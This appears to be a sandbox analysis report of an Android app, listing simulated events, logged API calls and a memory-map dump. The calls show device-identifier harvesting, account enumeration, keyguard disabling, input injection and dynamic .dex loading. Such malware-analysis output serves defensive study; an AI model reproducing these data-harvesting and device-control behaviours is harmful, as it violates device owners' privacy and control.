                              • Unknown permission com.android.vending.INSTALL_REFERRER in package air.nu.strafwerk.takecontrol
                              • Unknown permission android.permission.USE_FINGERPRINT in package air.nu.strafwerk.takecontrol
                              false
                              Registered Receivers

                              Simulated Events

                              TypeData
                              boot completed
                              • -
                              time tick
                              • -
                              incoming sms
                              • 0123456789
                              • this is a text message
                              outgoing sms
                              • 9876543210
                              • thank you
                              location change
                              • 54.13
                              • 12.14
                              motion simulation
                              • -
                              incoming call
                              • 0123456789
                              outgoing call
                              • 9876543210
                              time tick
                              • -
                              External Library Dependencies
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omg.base.terminal.OmgTerminalinfo.c:13 Show source
                              NameTypeValue
                              Return Valueandroid.net.NetworkInfo
                              • toString: [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omg.tool.net.NetworkCheck.isNetworkConnected:10 Show source
                              NameTypeValue
                              Return Valueandroid.net.NetworkInfo
                              • toString: [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                              API: android.bluetooth.BluetoothAdapter->getName at com.inasmuch.trample.Fly.mountainous:23 Show source
                              NameTypeValue
                              Return Valuejava.lang.String
                              • toString: MotoG3
                              API: android.telephony.TelephonyManager->getSubscriberId at com.omg.base.phone.factoryimpl.SingleSimController.a:8 Show source
                              NameTypeValue
                              Return Valuejava.lang.String
                              • toString: 504864147719322
                              API: android.telephony.TelephonyManager->getDeviceId at com.omg.base.phone.factoryimpl.SingleSimController.b:8 Show source
                              NameTypeValue
                              Return Valuejava.lang.String
                              • toString: 514559155759339
                              API: android.telephony.TelephonyManager->getNeighboringCellInfo at com.omgSdk.outport.GetParamsUtil.v:22 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omgSdk.andoclib.d.a:13 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at b.a.w.c:40 Show source
                              API: android.net.ConnectivityManager->getNetworkInfo at com.omg.base.phone.factoryimpl.PhoneController.b:11 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at b.a.at.j:15 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omgSdk.commen.d.a:9 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omg.tool.net.NetProxyManager.getProxy:12 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at sdk.nicro.lu.k.a:10 Show source
                              API: android.net.ConnectivityManager->getNetworkInfo at b.a.at.h:38 Show source
                              API: android.net.ConnectivityManager->getNetworkInfo at com.omg.tool.net.NetworkCheck.isMobileConnected:10 Show source
                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.omg.tool.net.NetworkCheck.getConnectedType:9 Show source
                              API: android.net.ConnectivityManager->getNetworkInfo at com.omg.base.phone.factoryimpl.PhoneController.c:11 Show source
                              API: android.net.ConnectivityManager->getNetworkInfo at com.omg.tool.net.NetworkCheck.isWifiConnected:11 Show source
                              API: android.net.wifi.WifiManager->getConnectionInfo at b.a.at.y:14 Show source
                              API: android.accounts.AccountManager->addAccountExplicitly at ..:34 Show source
                              API: android.bluetooth.BluetoothAdapter->getName at ..:8 Show source
                              API: android.bluetooth.BluetoothAdapter->getName at ..:10 Show source
                              API: android.content.Context->sendStickyBroadcast at ..:20 Show source
                              API: android.app.KeyguardManager$KeyguardLock->disableKeyguard at com.core.model.a.d:29 Show source
                              API: android.accounts.AccountManager->getAccounts at com.omgSdk.outport.GetParamsUtil.l:12 Show source
                              API: android.accounts.AccountManager->getAccountsByType at ..:12 Show source
                              API: android.app.ActivityManager->getRunningTasks at com.sdk.export.APIExporter$1.getRunningTasks:13 Show source
                              API: android.app.ActivityManager->getRunningTasks at com.sdk.export.APIExporter$1.getTopTask:5 Show source
                              API: android.app.ActivityManager->getRecentTasks at ..:7 Show source
                              API: android.app.ActivityManager->getRunningTasks at com.lody.virtual.server.am.ActivityStack.getRunningTaskIds:51 Show source
                              API: android.app.ActivityManager->getRunningTasks at com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker.getRunningApp:9 Show source
                              API: android.app.Instrumentation->sendStringSync at ..:4 Show source
                              API: android.app.Instrumentation->sendCharacterSync at ..:4 Show source
                              API: android.app.Instrumentation->sendPointerSync at ..:4 Show source
                              API: android.app.Instrumentation->sendKeyDownUpSync at ..:4 Show source
                              API: android.app.Instrumentation->sendTrackballEventSync at ..:4 Show source
                              API: android.app.Instrumentation->invokeContextMenuAction at ..:4 Show source
                              API: android.app.Instrumentation->sendKeySync at ..:4 Show source
                              API: android.app.Instrumentation->sendPointerSync at ..:35 Show source
                              API: java.net.URL->openConnection at b.a.w.a:30 Show source
                              API: java.net.URL->openConnection at sdk.nicro.lu.e$b.b:9 Show source
                              API: java.net.URL->openConnection at sdk.nicro.lu.a.a$a.b:7 Show source
                              API: java.net.URL->openConnection at com.omg.base.network.connection.HTTPConnection$Http.b:7 Show source
                              API: java.net.URL->openConnection at sdk.nicro.lu.a.a:12 Show source
                              API: java.net.URL->openConnection at com.omg.tool.net.WebClient$HttpBackgroudTask.a:9 Show source
                              API: android.webkit.WebView-><init> at ..:15 Show source
                              API: java.net.URL->openConnection at com.omgSdk.a.c.b:14 Show source
                              API: java.net.URL->openConnection at a.a.b.b.a:6 Show source
                              API: java.net.URL->openConnection at com.omgSdk.a.c.c:11 Show source
                              API: org.apache.http.impl.client.DefaultHttpClient-><init> at b.a.w.a:74 Show source
                              API: java.net.URL->openConnection at a.a.b.b.a:19 Show source
                              API: java.net.HttpURLConnection->connect at sdk.nicro.lu.a.a:178 Show source
                              API: java.net.URL->openConnection at b.a.n.b:53 Show source
                              API: android.telephony.TelephonyManager->getSubscriberId at sdk.nicro.lu.r.c:8 Show source
                              API: android.telephony.TelephonyManager->getSubscriberId at com.omg.tool.net.NetProxyManager.a:10 Show source
                              API: android.telephony.TelephonyManager->getDeviceId at b.a.at.w:17 Show source
                              API: android.telephony.TelephonyManager->getSubscriberId at sdk.nicro.lu.s$a.<init>:63 Show source
                              API: android.telephony.TelephonyManager->getDeviceId at b.a.at.B:17 Show source
                              API: android.telephony.TelephonyManager->getDeviceId at b.a.f.a:20 Show source
                              API: android.telephony.TelephonyManager->getSubscriberId at b.a.at.f:15 Show source
                              API: android.app.ActivityManager->killBackgroundProcesses at com.omgSdk.andoclib.AutoAccessibilityService.onAccessibilityEvent:227 Show source
                              API: android.content.pm.PackageManager->addPreferredActivity at com.tmk.ywb.activity.ResolverActivity.onIntentSelected:255 Show source
                              API: android.app.NotificationManager->notify at ..:76 Show source
                              API: android.app.NotificationManager->notify at ..:55 Show source
                              API: android.os.PowerManager$WakeLock->acquire at ..:25 Show source
                              API: android.os.PowerManager$WakeLock->acquire at com.core.model.a.d:14 Show source
                              API: android.content.ContentResolver->setIsSyncable at ..:12 Show source

                              55 Executed Methods

                              Cross References
                              APIs
                              • java.util.HashSet.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Process.myPid
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.endsWith
                              • java.lang.String.endsWith
                              • java.lang.String.lastIndexOf
                              • java.lang.String.substring
                              • java.util.Set.add
                              • java.io.BufferedReader.close
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.String.contains
                              • java.lang.String.contains
                              Strings
                              • /proc/
                              • /maps
                              • /proc/19055/maps
                              • 12c00000-12e01000 rw-p 00000000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • 12e01000-1316e000 rw-p 00201000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • 1316e000-22c00000 ---p 0056e000 00:04 10588 /dev/ashmem/dalvik-main space (deleted)
                              • 22c00000-22c01000 rw-p 00000000 00:04 10589 /dev/ashmem/dalvik-main space (deleted)
                              • 22c01000-32c00000 ---p 00001000 00:04 10589 /dev/ashmem/dalvik-main space (deleted)
                              • 70158000-70b16000 rw-p 00000000 103:0a 140 /data/dalvik-cache/arm/system@framework@boot.art
                              • 70b16000-7270d000 r--p 00000000 103:09 1230 /system/framework/arm/boot.oat
                              • 7270d000-73e9b000 r-xp 01bf7000 103:09 1230 /system/framework/arm/boot.oat
                              • 73e9b000-73e9c000 rw-p 03385000 103:09 1230 /system/framework/arm/boot.oat
                              • 73e9c000-74771000 rw-p 00000000 00:04 10587 /dev/ashmem/dalvik-zygote space (deleted)
                              • 74771000-74772000 rw-p 00000000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • 74772000-7479a000 rw-p 00001000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • 7479a000-7769d000 ---p 00029000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • 7769d000-77e9c000 rw-p 02f2c000 00:04 10668 /dev/ashmem/dalvik-non moving space (deleted)
                              • a4e73000-a4e74000 ---p 00000000 00:00 0
                              • a4e74000-a4e75000 ---p 00000000 00:00 0
                              • a4e75000-a4f77000 rw-p 00000000 00:00 0 [stack:20637]
                              • a5630000-a5638000 rw-p 00000000 00:04 13866879 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • a569f000-a56a7000 rw-p 00000000 00:04 13866721 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • a57b8000-a57c0000 rw-p 00000000 00:04 13866748 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • a57c7000-a57cf000 rw-p 00000000 00:04 13866798 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • a57cf000-a57d0000 ---p 00000000 00:00 0
                              • a57d0000-a57d1000 ---p 00000000 00:00 0
                              • a57d1000-a58d3000 rw-p 00000000 00:00 0 [stack:20627]
                              • a58d3000-a59b5000 r--p 00000000 103:0a 32870 /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.dex
                              • a59b5000-a5aa6000 r-xp 000e2000 103:0a 32870 /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.dex
                              • a5aa6000-a5aa7000 rw-p 001d3000 103:0a 32870 /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.dex
                              • a5aa7000-a5aa8000 ---p 00000000 00:00 0
                              • a5aa8000-a5aa9000 ---p 00000000 00:00 0
                              • a5aa9000-a5ba5000 rw-p 00000000 00:00 0 [stack:19110]
                              • a5ba5000-a5ba6000 ---p 00000000 00:00 0
                              • a5ba6000-a5ba7000 ---p 00000000 00:00 0
                              • a5ba7000-a5ca9000 rw-p 00000000 00:00 0 [stack:19108]
                              • a5ca9000-a5caa000 ---p 00000000 00:00 0
                              • a5caa000-a5cab000 ---p 00000000 00:00 0
                              • a5cab000-a5dad000 rw-p 00000000 00:00 0 [stack:19082]
                              • a5dad000-a5e10000 r--p 00000000 103:0a 32797 /data/dalvik-cache/arm/data@app@air.nu.strafwerk.takecontrol-1@base.apk@classes.dex
                              • a5e10000-a5e75000 r-xp 00063000 103:0a 32797 /data/dalvik-cache/arm/data@app@air.nu.strafwerk.takecontrol-1@base.apk@classes.dex
                              • a5e75000-a5e76000 rw-p 000c8000 103:0a 32797 /data/dalvik-cache/arm/data@app@air.nu.strafwerk.takecontrol-1@base.apk@classes.dex
                              • a5e76000-a5ed1000 r--s 00154000 103:0a 32921 /data/app/air.nu.strafwerk.takecontrol-1/base.apk
                              • a5ed1000-a5ed2000 ---p 00000000 00:00 0
                              • a5ed2000-a5ed3000 ---p 00000000 00:00 0
                              • a5ed3000-a5fcf000 rw-p 00000000 00:00 0 [stack:19081]
                              • a5fcf000-a5fd0000 ---p 00000000 00:00 0
                              • a5fd0000-a5fd1000 ---p 00000000 00:00 0
                              • a5fd1000-a60cd000 rw-p 00000000 00:00 0 [stack:19080]
                              • a60cd000-a61cb000 r--p 00000000 00:0c 6995 /dev/binder
                              • a61cb000-a61cc000 ---p 00000000 00:00 0
                              • a61cc000-a61cd000 ---p 00000000 00:00 0
                              • a61cd000-a62cf000 rw-p 00000000 00:00 0 [stack:19079]
                              • a62cf000-a62d0000 ---p 00000000 00:00 0
                              • a62d0000-a62d1000 ---p 00000000 00:00 0
                              • a62d1000-a63d3000 rw-p 00000000 00:00 0 [stack:19078]
                              • a63d3000-a67d3000 rw-p 00000000 00:04 10667 /dev/ashmem/dalvik-allocspace main rosalloc space mark-bitmap 3 (deleted)
                              • a67d3000-acbd3000 ---p 00000000 00:00 0
                              • acbd3000-acbd4000 r-xp 00000000 103:09 1640 /system/lib/libwebviewchromium_loader.so
                              • acbd4000-acbd5000 r--p 00000000 103:09 1640 /system/lib/libwebviewchromium_loader.so
                              • acbd5000-acbd6000 rw-p 00001000 103:09 1640 /system/lib/libwebviewchromium_loader.so
                              • acbd6000-acbd7000 r-xp 00000000 103:09 1495 /system/lib/libjnigraphics.so
                              • acbd7000-acbd8000 r--p 00000000 103:09 1495 /system/lib/libjnigraphics.so
                              • acbd8000-acbd9000 rw-p 00001000 103:09 1495 /system/lib/libjnigraphics.so
                              • acbd9000-acbe6000 r-xp 00000000 103:09 1380 /system/lib/libandroid.so
                              • acbe6000-acbe8000 r--p 0000c000 103:09 1380 /system/lib/libandroid.so
                              • acbe8000-acbe9000 rw-p 0000e000 103:09 1380 /system/lib/libandroid.so
                              • acbe9000-accf4000 r-xp 00000000 103:09 2219 /system/vendor/lib/egl/libGLESv2_adreno.so
                              • accf4000-accf5000 ---p 00000000 00:00 0
                              • accf5000-accf8000 r--p 0010b000 103:09 2219 /system/vendor/lib/egl/libGLESv2_adreno.so
                              • accf8000-acd2b000 rw-p 0010e000 103:09 2219 /system/vendor/lib/egl/libGLESv2_adreno.so
                              • acd2b000-acd2c000 rw-p 00000000 00:00 0
                              • acd2c000-acd5d000 r-xp 00000000 103:09 2218 /system/vendor/lib/egl/libGLESv1_CM_adreno.so
                              • acd5d000-acd5e000 ---p 00000000 00:00 0
                              • acd5e000-acd5f000 r--p 00031000 103:09 2218 /system/vendor/lib/egl/libGLESv1_CM_adreno.so
                              • acd5f000-acd60000 rw-p 00032000 103:09 2218 /system/vendor/lib/egl/libGLESv1_CM_adreno.so
                              • acd60000-acd93000 r-xp 00000000 103:09 2459 /system/vendor/lib/libgsl.so
                              • acd93000-acd94000 r--p 00032000 103:09 2459 /system/vendor/lib/libgsl.so
                              • acd94000-acd95000 rw-p 00033000 103:09 2459 /system/vendor/lib/libgsl.so
                              • acd95000-acdbc000 r-xp 00000000 103:09 2217 /system/vendor/lib/egl/libEGL_adreno.so
                              • acdbc000-acdbd000 r--p 00026000 103:09 2217 /system/vendor/lib/egl/libEGL_adreno.so
                              • acdbd000-acdbe000 rw-p 00027000 103:09 2217 /system/vendor/lib/egl/libEGL_adreno.so
                              • acdbe000-ad45c000 r--s 005e0000 103:09 1295 /system/framework/framework-res.apk
                              • ad45c000-ad497000 r--s 00c7d000 103:09 1295 /system/framework/framework-res.apk
                              • ad499000-ad49f000 r-xp 00000000 103:09 1421 /system/lib/libcompiler_rt.so
                              • ad49f000-ad4a0000 r--p 00005000 103:09 1421 /system/lib/libcompiler_rt.so
                              • ad4a0000-ad4a1000 rw-p 00006000 103:09 1421 /system/lib/libcompiler_rt.so
                              • ad4a1000-ad4a2000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • ad4a2000-ad4a4000 r-xp 00000000 103:09 2289 /system/vendor/lib/libadreno_utils.so
                              • ad4a4000-ad4a5000 r--p 00001000 103:09 2289 /system/vendor/lib/libadreno_utils.so
                              • ad4a5000-ad4a6000 rw-p 00002000 103:09 2289 /system/vendor/lib/libadreno_utils.so
                              • ad4a6000-ad4a8000 rw-p 00000000 00:00 0
                              • ad4a8000-ad521000 r--s 00000000 103:09 2174 /system/usr/share/zoneinfo/tzdata
                              • ad521000-ad537000 r-xp 00000000 103:09 1490 /system/lib/libjavacrypto.so
                              • ad537000-ad538000 r--p 00015000 103:09 1490 /system/lib/libjavacrypto.so
                              • ad538000-ad539000 rw-p 00016000 103:09 1490 /system/lib/libjavacrypto.so
                              • ad539000-ad540000 r-xp 00000000 103:09 1565 /system/lib/librs_jni.so
                              • ad540000-ad541000 r--p 00006000 103:09 1565 /system/lib/librs_jni.so
                              • ad541000-ad542000 rw-p 00007000 103:09 1565 /system/lib/librs_jni.so
                              • ad542000-ad557000 rw-p 00000000 00:00 0 [anon:libc_malloc]
                              • ad557000-ad55b000 r-xp 00000000 103:09 1388 /system/lib/libaudioeffect_jni.so
                              • ad55b000-ad55c000 r--p 00003000 103:09 1388 /system/lib/libaudioeffect_jni.so
                              • ad55c000-ad55d000 rw-p 00004000 103:09 1388 /system/lib/libaudioeffect_jni.so
                              • ad55d000-ad55f000 r-xp 00000000 103:09 1577 /system/lib/libsoundpool.so
                              • ad55f000-ad560000 r--p 00001000 103:09 1577 /system/lib/libsoundpool.so
                              • ad560000-ad561000 rw-p 00002000 103:09 1577 /system/lib/libsoundpool.so
                              • ad561000-ad579000 r-xp 00000000 103:09 1637 /system/lib/libvorbisidec.so
                              • ad579000-ad57a000 ---p 00000000 00:00 0
                              • ad57a000-ad57b000 r--p 00018000 103:09 1637 /system/lib/libvorbisidec.so
                              • ad57b000-ad57c000 rw-p 00019000 103:09 1637 /system/lib/libvorbisidec.so
                              • ad57c000-ad57e000 r-xp 00000000 103:09 1614 /system/lib/libstagefright_yuv.so
                              • ad57e000-ad57f000 r--p 00001000 103:09 1614 /system/lib/libstagefright_yuv.so
                              • ad57f000-ad580000 rw-p 00002000 103:09 1614 /system/lib/libstagefright_yuv.so
                              • ad580000-ad59e000 r-xp 00000000 103:09 1593 /system/lib/libstagefright_omx.so
                              • ad59e000-ad59f000 ---p 00000000 00:00 0
                              • ad59f000-ad5a1000 r--p 0001e000 103:09 1593 /system/lib/libstagefright_omx.so
                              • ad5a1000-ad5a2000 rw-p 00020000 103:09 1593 /system/lib/libstagefright_omx.so
                              • ad5a2000-ad5a3000 r-xp 00000000 103:09 1589 /system/lib/libstagefright_enc_common.so
                              • ad5a3000-ad5a4000 r--p 00000000 103:09 1589 /system/lib/libstagefright_enc_common.so
                              • ad5a4000-ad5a5000 rw-p 00001000 103:09 1589 /system/lib/libstagefright_enc_common.so
                              • ad5a5000-ad5a6000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • ad5a6000-ad5ab000 r-xp 00000000 103:09 1588 /system/lib/libstagefright_avc_common.so
                              • ad5ab000-ad5ac000 r--p 00004000 103:09 1588 /system/lib/libstagefright_avc_common.so
                              • ad5ac000-ad5ad000 rw-p 00005000 103:09 1588 /system/lib/libstagefright_avc_common.so
                              • ad5ad000-ad5e5000 r-xp 00000000 103:09 1541 /system/lib/libopus.so
                              • ad5e5000-ad5e6000 r--p 00037000 103:09 1541 /system/lib/libopus.so
                              • ad5e6000-ad5e7000 rw-p 00038000 103:09 1541 /system/lib/libopus.so
                              • ad5e7000-ad5fd000 r-xp 00000000 103:09 1433 /system/lib/libdrmframework.so
                              • ad5fd000-ad5fe000 ---p 00000000 00:00 0
                              • ad5fe000-ad601000 r--p 00016000 103:09 1433 /system/lib/libdrmframework.so
                              • ad601000-ad602000 rw-p 00019000 103:09 1433 /system/lib/libdrmframework.so
                              • ad602000-ad60e000 r-xp 00000000 103:09 1587 /system/lib/libstagefright_amrnb_common.so
                              • ad60e000-ad60f000 r--p 0000b000 103:09 1587 /system/lib/libstagefright_amrnb_common.so
                              • ad60f000-ad610000 rw-p 0000c000 103:09 1587 /system/lib/libstagefright_amrnb_common.so
                              • ad610000-ad737000 r-xp 00000000 103:09 1586 /system/lib/libstagefright.so
                              • ad737000-ad738000 ---p 00000000 00:00 0
                              • ad738000-ad741000 r--p 00127000 103:09 1586 /system/lib/libstagefright.so
                              • ad741000-ad742000 rw-p 00130000 103:09 1586 /system/lib/libstagefright.so
                              • ad742000-ad756000 r-xp 00000000 103:09 1532 /system/lib/libmtp.so
                              • ad756000-ad758000 r--p 00013000 103:09 1532 /system/lib/libmtp.so
                              • ad758000-ad759000 rw-p 00015000 103:09 1532 /system/lib/libmtp.so
                              • ad759000-ad762000 r-xp 00000000 103:09 1491 /system/lib/libjhead.so
                              • ad762000-ad763000 r--p 00008000 103:09 1491 /system/lib/libjhead.so
                              • ad763000-ad764000 rw-p 00009000 103:09 1491 /system/lib/libjhead.so
                              • ad764000-ad765000 rw-p 00000000 00:00 0
                              • ad765000-ad784000 r-xp 00000000 103:09 1458 /system/lib/libexif.so
                              • ad784000-ad790000 r--p 0001e000 103:09 1458 /system/lib/libexif.so
                              • ad790000-ad791000 rw-p 0002a000 103:09 1458 /system/lib/libexif.so
                              • ad791000-ad7cb000 r-xp 00000000 103:09 1510 /system/lib/libmedia_jni.so
                              • ad7cb000-ad7cc000 ---p 00000000 00:00 0
                              • ad7cc000-ad7ce000 r--p 0003a000 103:09 1510 /system/lib/libmedia_jni.so
                              • ad7ce000-ad7cf000 rw-p 0003c000 103:09 1510 /system/lib/libmedia_jni.so
                              • ad7cf000-ad7d9000 r--p 00000000 103:09 1086 /system/fonts/CarroisGothicSC-Regular.ttf
                              • ad7d9000-ad7f6000 r--p 00000000 103:09 1090 /system/fonts/DancingScript-Bold.ttf
                              • ad7f6000-ad813000 r--p 00000000 103:09 1091 /system/fonts/DancingScript-Regular.ttf
                              • ad813000-ad822000 r--p 00000000 103:09 1088 /system/fonts/ComingSoon.ttf
                              • ad822000-ad833000 r--p 00000000 103:09 1089 /system/fonts/CutiveMono.ttf
                              • ad833000-ad84e000 r--p 00000000 103:09 1094 /system/fonts/DroidSansMono.ttf
                              • ad84e000-ad88e000 r--p 00000000 103:09 1195 /system/fonts/NotoSerif-BoldItalic.ttf
                              • ad88e000-ad8cb000 r--p 00000000 103:09 1196 /system/fonts/NotoSerif-Italic.ttf
                              • ad8cb000-ad908000 r--p 00000000 103:09 1194 /system/fonts/NotoSerif-Bold.ttf
                              • ad908000-ad945000 r--p 00000000 103:09 1197 /system/fonts/NotoSerif-Regular.ttf
                              • ad945000-ad985000 r--p 00000000 103:09 1211 /system/fonts/RobotoCondensed-BoldItalic.ttf
                              • ad985000-ad9c0000 r--p 00000000 103:09 1210 /system/fonts/RobotoCondensed-Bold.ttf
                              • ad9c0000-ada00000 r--p 00000000 103:09 1212 /system/fonts/RobotoCondensed-Italic.ttf
                              • ada00000-ada3b000 r--p 00000000 103:09 1215 /system/fonts/RobotoCondensed-Regular.ttf
                              • ada3b000-ada7c000 r--p 00000000 103:09 1214 /system/fonts/RobotoCondensed-LightItalic.ttf
                              • ada7c000-adab7000 r--p 00000000 103:09 1213 /system/fonts/RobotoCondensed-Light.ttf
                              • adab7000-adaba000 r--p 00000000 103:09 1175 /system/fonts/NotoSansTaiLe-Regular.ttf
                              • adaba000-add2b000 r--p 00000000 103:09 1096 /system/fonts/MTLmr3m.ttf
                              • add2b000-adf61000 r--p 00000000 103:09 1097 /system/fonts/NotoColorEmoji.ttf
                              • adf61000-adf9e000 r--p 00000000 103:09 1173 /system/fonts/NotoSansSymbols-Regular-Subsetted.ttf
                              • adf9e000-ae164000 r--p 00000000 103:09 1141 /system/fonts/NotoSansKR-Regular.otf
                              • ae164000-ae18e000 r--p 00000000 103:09 1139 /system/fonts/NotoSansJP-Regular.otf
                              • ae18e000-ae483000 r--p 00000000 103:09 1135 /system/fonts/NotoSansHant-Regular.otf
                              • ae483000-aec4a000 r--p 00000000 103:09 1134 /system/fonts/NotoSansHans-Regular.otf
                              • aec4a000-aec62000 r--p 00000000 103:09 1095 /system/fonts/Lohit-Odia.ttf
                              • aec62000-aec80000 r--p 00000000 103:09 1193 /system/fonts/NotoSansYi-Regular.ttf
                              • aec80000-aec84000 r--p 00000000 103:09 1192 /system/fonts/NotoSansTifinagh-Regular.ttf
                              • aec84000-aec88000 r--p 00000000 103:09 1177 /system/fonts/NotoSansTaiViet-Regular.ttf
                              • aec88000-aec94000 r--p 00000000 103:09 1176 /system/fonts/NotoSansTaiTham-Regular.ttf
                              • aec94000-aec96000 r--p 00000000 103:09 1174 /system/fonts/NotoSansTagbanwa-Regular.ttf
                              • aec96000-aec9a000 r--p 00000000 103:09 1172 /system/fonts/NotoSansSylotiNagri-Regular.ttf
                              • aec9a000-aec9d000 r--p 00000000 103:09 1171 /system/fonts/NotoSansSundanese-Regular.ttf
                              • aec9d000-aeca2000 r--p 00000000 103:09 1168 /system/fonts/NotoSansSaurashtra-Regular.ttf
                              • aeca2000-aeca4000 r--p 00000000 103:09 1167 /system/fonts/NotoSansRejang-Regular.ttf
                              • aeca4000-aeca6000 r--p 00000000 103:09 1166 /system/fonts/NotoSansOlChiki-Regular.ttf
                              • aeca6000-aecaa000 r--p 00000000 103:09 1161 /system/fonts/NotoSansMeeteiMayek-Regular.ttf
                              • aecaa000-aecad000 r--p 00000000 103:09 1156 /system/fonts/NotoSansLimbu-Regular.ttf
                              • aecad000-aecc6000 r--p 00000000 103:09 1155 /system/fonts/NotoSansLepcha-Regular.ttf
                              • aecc6000-aecc8000 r--p 00000000 103:09 1146 /system/fonts/NotoSansKayahLi-Regular.ttf
                              • aecc8000-aecd1000 r--p 00000000 103:09 1140 /system/fonts/NotoSansJavanese-Regular.ttf
                              • aecd1000-aecd3000 r--p 00000000 103:09 1136 /system/fonts/NotoSansHanunoo-Regular.ttf
                              • aecd3000-aecd7000 r--p 00000000 103:09 1125 /system/fonts/NotoSansGlagolitic-Regular.ttf
                              • aecd7000-aecdd000 r--p 00000000 103:09 1116 /system/fonts/NotoSansCoptic-Regular.ttf
                              • aecdd000-aece6000 r--p 00000000 103:09 1115 /system/fonts/NotoSansCherokee-Regular.ttf
                              • aece6000-aecf2000 r--p 00000000 103:09 1112 /system/fonts/NotoSansCanadianAboriginal-Regular.ttf
                              • aecf2000-aecf4000 r--p 00000000 103:09 1111 /system/fonts/NotoSansBuhid-Regular.ttf
                              • aecf4000-aecf6000 r--p 00000000 103:09 1110 /system/fonts/NotoSansBuginese-Regular.ttf
                              • aecf6000-aecfa000 r--p 00000000 103:09 1105 /system/fonts/NotoSansBatak-Regular.ttf
                              • aecfa000-aed02000 r--p 00000000 103:09 1104 /system/fonts/NotoSansBalinese-Regular.ttf
                              • aed02000-aed08000 r--p 00000000 103:09 1113 /system/fonts/NotoSansCham-Bold.ttf
                              • aed08000-aed0e000 r--p 00000000 103:09 1114 /system/fonts/NotoSansCham-Regular.ttf
                              • aed0e000-aed12000 r--p 00000000 103:09 1186 /system/fonts/NotoSansThaana-Bold.ttf
                              • aed12000-aed16000 r--p 00000000 103:09 1187 /system/fonts/NotoSansThaana-Regular.ttf
                              • aed16000-aed2e000 r--p 00000000 103:09 1164 /system/fonts/NotoSansMyanmarUI-Bold.ttf
                              • aed2e000-aed45000 r--p 00000000 103:09 1165 /system/fonts/NotoSansMyanmarUI-Regular.ttf
                              • aed45000-aed5f000 r--p 00000000 103:09 1162 /system/fonts/NotoSansMyanmar-Bold.ttf
                              • aed5f000-aed7a000 r--p 00000000 103:09 1163 /system/fonts/NotoSansMyanmar-Regular.ttf
                              • aed7a000-aed82000 r--p 00000000 103:09 1153 /system/fonts/NotoSansLaoUI-Bold.ttf
                              • aed82000-aed8a000 r--p 00000000 103:09 1154 /system/fonts/NotoSansLaoUI-Regular.ttf
                              • aed8a000-aed92000 r--p 00000000 103:09 1151 /system/fonts/NotoSansLao-Bold.ttf
                              • aed92000-aed9a000 r--p 00000000 103:09 1152 /system/fonts/NotoSansLao-Regular.ttf
                              • aed9a000-aeda3000 r--p 00000000 103:09 1149 /system/fonts/NotoSansKhmerUI-Bold.ttf
                              • aeda3000-aedad000 r--p 00000000 103:09 1150 /system/fonts/NotoSansKhmerUI-Regular.ttf
                              • aedad000-aedb6000 r--p 00000000 103:09 1147 /system/fonts/NotoSansKhmer-Bold.ttf
                              • aedb6000-aedbf000 r--p 00000000 103:09 1148 /system/fonts/NotoSansKhmer-Regular.ttf
                              • aedbf000-aede4000 r--p 00000000 103:09 1169 /system/fonts/NotoSansSinhala-Bold.ttf
                              • aede4000-aee0b000 r--p 00000000 103:09 1170 /system/fonts/NotoSansSinhala-Regular.ttf
                              • aee0b000-aee1f000 r--p 00000000 103:09 1144 /system/fonts/NotoSansKannadaUI-Bold.ttf
                              • aee1f000-aee33000 r--p 00000000 103:09 1145 /system/fonts/NotoSansKannadaUI-Regular.ttf
                              • aee33000-aee47000 r--p 00000000 103:09 1142 /system/fonts/NotoSansKannada-Bold.ttf
                              • aee47000-aee5b000 r--p 00000000 103:09 1143 /system/fonts/NotoSansKannada-Regular.ttf
                              • aee5b000-aee76000 r--p 00000000 103:09 1184 /system/fonts/NotoSansTeluguUI-Bold.ttf
                              • aee76000-aee92000 r--p 00000000 103:09 1185 /system/fonts/NotoSansTeluguUI-Regular.ttf
                              • aee92000-aeead000 r--p 00000000 103:09 1182 /system/fonts/NotoSansTelugu-Bold.ttf
                              • aeead000-aeec8000 r--p 00000000 103:09 1183 /system/fonts/NotoSansTelugu-Regular.ttf
                              • aeec8000-aeee2000 r--p 00000000 103:09 1108 /system/fonts/NotoSansBengaliUI-Bold.ttf
                              • aeee2000-aeefd000 r--p 00000000 103:09 1109 /system/fonts/NotoSansBengaliUI-Regular.ttf
                              • aeefd000-aef15000 r--p 00000000 103:09 1106 /system/fonts/NotoSansBengali-Bold.ttf
                              • aef15000-aef2e000 r--p 00000000 103:09 1107 /system/fonts/NotoSansBengali-Regular.ttf
